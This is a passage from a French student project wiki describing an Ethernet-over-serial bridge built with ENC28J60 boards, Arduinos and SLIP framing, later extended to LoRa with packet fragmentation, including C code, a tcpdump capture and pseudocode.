&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa afin de réaliser la réussite de la transmission et la réception des paquets Ethernet. Cependant, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, des fonctions de SPI sont déjà définies par les fonctions dans la librairie de l'enc28j60, au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet d'être enregistré dans le buffer du LoRa ne fait que 255 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet. Le dernier octet est réservé pour dire le numéro du fragment et vérifier si c'est la fin du paquet.Quant à la réception, le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un fragment, le récepteur va s'arrêter de capter des paquets et attend l'arrivée de nouveau paquet .&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Après bien avoir étudié des caratères de module LoRa SX1276 et la carte Ethernet réseau ENC28J60, pour leur faire communiquer nous avons écrit un algorithme &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Boucle&lt;br /&gt;
    Si pas de paquet Ethernet en stock Alors&lt;br /&gt;
      tenter de lire un paquet Ethernet pour le mettre en stock&lt;br /&gt;
    FSi&lt;br /&gt;
    Si pas de réception en cours Alors&lt;br /&gt;
      Si paquet Ethernet en stock Alors&lt;br /&gt;
        envoyer un fragment LoRA&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          libérer la mémoire du paquet Ethernet&lt;br /&gt;
          attendre un paquet LoRa un temps raisonnable&lt;br /&gt;
        Fsi&lt;br /&gt;
      Sinon&lt;br /&gt;
        Si un paquet Ethernet vient d'être reçu par LoRa Alors&lt;br /&gt;
          envoyer un paquet LoRa de taille 1&lt;br /&gt;
      FSi&lt;br /&gt;
    Fsi&lt;br /&gt;
    Si pas d'envoi en cours et paquet LoRa reçu Alors&lt;br /&gt;
      Si paquet est un fragment (taille &amp;gt; 1) Alors&lt;br /&gt;
        stocker le fragment dans le tampon d'envoi Ethernet&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          envoyer le paquet sur Ethernet&lt;br /&gt;
        FSi&lt;br /&gt;
      FSi&lt;br /&gt;
    FSi&lt;br /&gt;
  FinBoucle&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
En suite nous avons interprété cet algorithme en langage C&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
while(1)&lt;br /&gt;
        {&lt;br /&gt;
                if(nb_ethernet==0)&lt;br /&gt;
                {&lt;br /&gt;
                        nb_ethernet = enc28j60PacketReceive();&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0 &amp;amp;&amp;amp; nb_ethernet&amp;lt;=MAX_ETHERNET)&lt;br /&gt;
                        {&lt;br /&gt;
                                index_ethernet = 0;&lt;br /&gt;
                                num_frag = 0;&lt;br /&gt;
                                output_set(5,1);&lt;br /&gt;
                        }&lt;br /&gt;
                        else nb_ethernet=0;&lt;br /&gt;
                }&lt;br /&gt;
#ifdef VERBOSE&lt;br /&gt;
                printf(&amp;quot;num=%d nb_ethernet=%d\n&amp;quot;,num,nb_ethernet);&lt;br /&gt;
                _delay_ms(100);&lt;br /&gt;
#endif&lt;br /&gt;
                if(num&amp;lt;0)&lt;br /&gt;
                {&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0)&lt;br /&gt;
                        {&lt;br /&gt;
                                int i;&lt;br /&gt;
                                num=-1; rxmode=0;&lt;br /&gt;
                                if(index_ethernet &amp;lt; nb_ethernet)&lt;br /&gt;
                                {&lt;br /&gt;
                                        for(i=0;(i&amp;lt;MAX_FRAGMENT) &amp;amp;&amp;amp; (index_ethernet&amp;lt;nb_ethernet);i++)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                unsigned char c = enc28j60ByteRead();&lt;br /&gt;
                                                index_ethernet++;&lt;br /&gt;
                                                packet_lora[i]=c;&lt;br /&gt;
                                        }&lt;br /&gt;
                                        if(index_ethernet &amp;lt; nb_ethernet) packet_lora[i]=0x00;&lt;br /&gt;
                                        else packet_lora[i]=0x80;&lt;br /&gt;
                                        packet_lora[i] |= num_frag++;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;ether=%d/%d num_frag=%02x taille=%d\n&amp;quot;,index_ethernet,nb_ethernet,packet_lora[i],i+1);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        output_set(4,1);&lt;br /&gt;
                                        sx1276_LoRaTxPacket(packet_lora,i+1);           //transmission from LoraServer&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        output_set(4,0);&lt;br /&gt;
                                        if(index_ethernet &amp;gt;= nb_ethernet)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                nb_ethernet = 0;&lt;br /&gt;
                                                enc28j60FreeMemory();&lt;br /&gt;
                                                output_set(5,0);&lt;br /&gt;
